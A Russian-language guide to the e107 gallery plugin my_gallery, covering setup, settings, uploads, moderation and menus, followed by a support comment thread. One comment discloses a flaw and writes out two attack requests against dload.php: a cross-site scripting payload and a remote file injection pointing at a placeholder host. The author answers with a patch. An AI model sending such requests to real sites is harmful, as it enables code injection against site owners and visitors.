Руководство my_gallery

Введение

Плагин позволяет создавать фото галерею на сайте.

Для работы фото галереи используется скрипт "highslide"
Он позволяет увеличивать иконки фотографий для просмотра, а также навигацию по ним с помощью клавиш управления курсором или кнопок на самом слайде (зависит он настроек highslide).
Подробнее про highslide можно почитать на официальном сайте http://vikjavev.no/highslide

Внимание, плагин не работает без поддержки модуля GD!!!

Галерея формируется средствами файловой системы, для этого используется двух уровневая иерархия (Раздел/Категория).
В каталогах категорий хранятся фотографии в формате jpg, другие форматы не поддерживаются. Файлы иконок и просмотра создаются сервером автоматически из исходного файла при обращении к нему или с помошю инструментария Файлы иконок и просмотра в Настройках плагина.


Установка

  • Скачать плагин
  • Распаковать в каталог плагинов
  • Инсталировать в панеле администрирования

Настройка



GD Version
- проверяет модуль GD, его версию и поддержку JPG. Если модуль не поддерживает JPG или совсем не установлен то плагин my_gallery работать не будет!

Панель администрирования плагина имеет 4 раздела



Настройки галереи



Панель настроек содержит основные настройки галереи
  • Путь к фотогалереи (URL) - по умолчанию это каталог Gallery
  • Количество иконок на странице (колонок * рядов) - задает количество иконок в ряду и количество колонок
  • Максимальная высота иконки (в точках) - задает максимальную высоту иконки
  • Максимальная ширина иконки (в точках) - задает максимальную ширину иконки
  • Максимальная высота просмотра фотографии (в точках) - задает максимальную вышину просмотра фотографии
  • Максимальная ширина просмотра фотографии (в точках) - задает максимальную ширину просмотра фотографии
  • Метод отображения иконок - изменяет метод отображения иконок, если эта опция выключена отображаются простые иконки, а если включен то иконки создаются на основе подложки (файл images/tn_blank.jpg), работа со слайдом описана ниже
  • Файлы иконок и просмотра - инструмент для создания файлов иконок и просмотра, пометив нужные чекбоксы и задав качество изображения нажмите кнопку Создать/обновить, будут созданы иконки и файлы просмотра, это ускоряет работу галереи но увеличивает количество файлов на хостинге
  • На главной странице показывать - настройка главной странички галереи, можно выбрать что будет отображаться (Титульная картинка, Последние добавления, Последние комментарии, Случайные файлы)
  • Путь к титульной картинке (URL) - задает путь к титульной картинке, отображается на главной странице галереи при включеном параметре Титульная картинка в разделе На главной странице показывать
  • Название фотогалереи - задает название галереи
  • Положение панели навигации - задает расположение и видимость панели навигации по галереи, можно сделать ее не активной если используется меню my_gallery_nav_menu
  • Стиль отображения Highslide - задает внешний вид окна Highslide
  • Показывать описание к галерее - задает положение описания к галереи или деактивирует его
  • Разрешить комментировать фотографии - включает систему комментариев
  • Разрешить оценивать фотографии - включает систему рейтинга
  • Метод сортировки изображений - задает метод сортировки (NA - по имени в алфавитном порядке, ND - по имени в обратном порядке, DA - по дате добавления в порядке возростания, DD - по дате в порядке убывания)
  • Заголовок меню галереи - задает название меню my_gallery_menu
  • Максимальный размер картинки в меню (в точках) - задает максимальный размер отображения изображений в меню
  • Количество случайных картинок - задает количество изображений в меню my_gallery_menu

Добавить изображение



Форма для добавления изображения в галерею, в основном ориентирована на пользователей сайта, доступна в соответствии с настройками раздела Загрузки на сервер (e107_admin/upload.php). По умолчанию ссылка на нее есть только в разделе администрирования плагина, если нужно разместите ее в любом удобном месте на вашем сайте.


Новые поступления



Панель предназначена для модерации присланых пользователями изображений. Позволяет опубликовать или удалить, выбранные из списка присланных, изображения. Одновременно с публикацией можно создать файлы иконок и просмотра, а также позволяет уменьшить размер и качество оригинального изображения.

Управление



Панель Управление позволяет редактировать название и описание, удалять или перемещать выбранные изображения. По умолчанию открывается последняя галерея, для перехода в другой раздел галереи используется выподающий список Каталог/Раздел.


Редактор описания галереи


Форма редактирования описания к галереи, открывается по ссылке [Изменить] если функция Показывать описание к галерее активирована в панеле настроек. Позволяет добавить или отредактировать описание к галереи.
Описание галереи сохраняется в файл соответствующего каталога галереи, если доступа на запись нет описание не сохранится.


Работа со слайдом

Если в настройках отображения иконок включить метод "использовать слайд" (images/tn_blank.jpg) то в галерее иконки будут отображаться в виде слайдов.
Файл images/tn_blank.jpg это заготовка слайда, ее можно создать свою, с учетом дизайна сайта и подходящего размера.
Принцип работы со слайдом следующий:
  • - определяются размеры слайда (например images/tn_blank.jpg имеет размеры WxH 150x100 точек)
  • - определяются координаты позиционирования иконки - x=W/2, y=H*0.9/2(то есть иконка позиционируется в центр слайда со смещением вверх на 10%)
  • - соответственно максимальные размеры иконки задаем из этого расчета (например при выше указанных размерах слайда можно установить максимальный размер иконки 90x140, получим отступы 5 и 5 точек по горизонтали и 5 и 15 по вертикали)
Если максимальный размер иконки будет больше размеров слайда, то выступающие края будут обрезаны.

Меню навигации my_gallery_nav_menu.php



Меню показывает структуру галереи, для ее отображения необходимо активировать my_gallery_nav в панели управления Меню. При необходимости можно настроить ее видимость (например - скрывать на странице my_gallery.php).

Меню случайной картинки my_gallery_menu.php



Меню показывает случайные изображения из галереи, для ее отображения необходимо активировать my_gallery в панели управления Меню. Название меню, количество и размер изображений задается через админцентр в настройках плагина. При необходимости можно настроить ее видимость (например - показывать на странице news.php).

15 комментариев:

Аленка комментирует...

привет!
а вопрос можно?
установила плагин my_gallery
все хорошо, все работает, кроме одного момента - нажимаю в админке "Добавить изображение" и меня перебрасывает на главную страницу сайта...
с чем это связано?

AX комментирует...

Нужно настроить загрузки на сайт (e107_admin/upload.php), выставить там уровень доступа (кому можно присылать файлы) и задать типы файлов.

Аленка комментирует...

спасибо)) с загрузкой получилось :)
и еще пару вопросов, если не сложно -
как редактировать и создавать галереи?
и еще - если мне нужны две разные галереи со ссылками в основном меню - типа, Картины и Фото - как сделать? ;)
заранее спасибо за ответы - не ожидала, что ответите так быстро ;)

AX комментирует...

Пока галереи можно добавлять созданием каталогов в файловой системе, посредством FTP или через WEB интерфейс хостинга.
Ссылки в главное меню добавляются с помощью оснастки "Ссылки сайта" (e107_admin/links.php), если разделов и галерей достаточно много можно активировать меню my_gallery_nav.

Анонимный комментирует...

У меня не устонавливается случайное меню.... я добавляю в меню а на главной не показывает ... ???

AX комментирует...

Не отображается само меню или картинка? Вообще так понять в чем проблема сложно, желательно посмотреть, ссылочку дайте.

Анонимный комментирует...

Вопросик можно ?не получаеться довести плагин до ума !!! сначала была проблема в кодировке в админ центре, после перекодировки в utf-8 файл /e107_plugins/my_gallery/languages/Russian.php проблема с кирилицей в галерее решить так и не смог ((( перекодировал название файлов папок и в utf-8 win1251 но все четно

Анонимный комментирует...

Hello,

i download your plugin, but i can`t upload pictures. The setting is ok..
And when i upload some picture, show to me error message >

The file did not upload. Filename: 'cisterna_01.jpg'
Error: The filetype image/jpeg is not allowed and has been deleted. (1)

No Any line..


Can you help me please what can i do with this ?

Thank you very much...

Ace-Ventura.com

Анонимный комментирует...

Здравствуй, имеется такой вопросег. Нашёл небольшую уязвимость плагина, помоги исправить...
Запрос для выполнения атаки:
СКРИПТИНГ
GET /e107_plugins/my_gallery/dload.php?file=Gallery/GalleryOneXSS%40%2Bxscript%2DXSS%2B/xscript%2D.com HTTP/1.1
ЭНДЖЕКТ КОДА ХТМЛ СТРАНИЦЫ
Запрос для выполнения атаки:
GET /e107_plugins/my_gallery/dload.php?file=http%3A//www.wwwwwwww.ww/codeinjectfile HTTP/1.1

AX комментирует...

Вот я выкладывал патчик http://plugins.e107.org/e107_plugins/psilo/psilo.php?artifact.347
Сравни свой файл dload.php с тем что в патчике.

Ыыыы комментирует...

Можно каждой галереи присвоить титульную картинку? Т.е. судя по этой картинке пользователь понимал, какого рода фотографии находятся в галереи.

AX комментирует...

Не, такого функционала пока нет.

Анонимный комментирует...

Помогите пожалуйста! Никак не получается убрать названия файлов под изображением.. Скажите пожалуйста что нужно поправить в исходниках чтобы под картинками не отображалось их имя??

Max комментирует...

Здравствуйте!

Установил плагин, но в админской части всё пишеться "кракозябрами". Как это выечить???? Спасибо!

AX комментирует...

Кодировки лечатся использованием соответствующего файлика локализации из каталога languages. Там есть Russian.php (дефолтный файл локализации в кодировке UTF-8) и Russian.1251.php в кодировке win-1251. Надеюсь понятно что нужно с ними делать.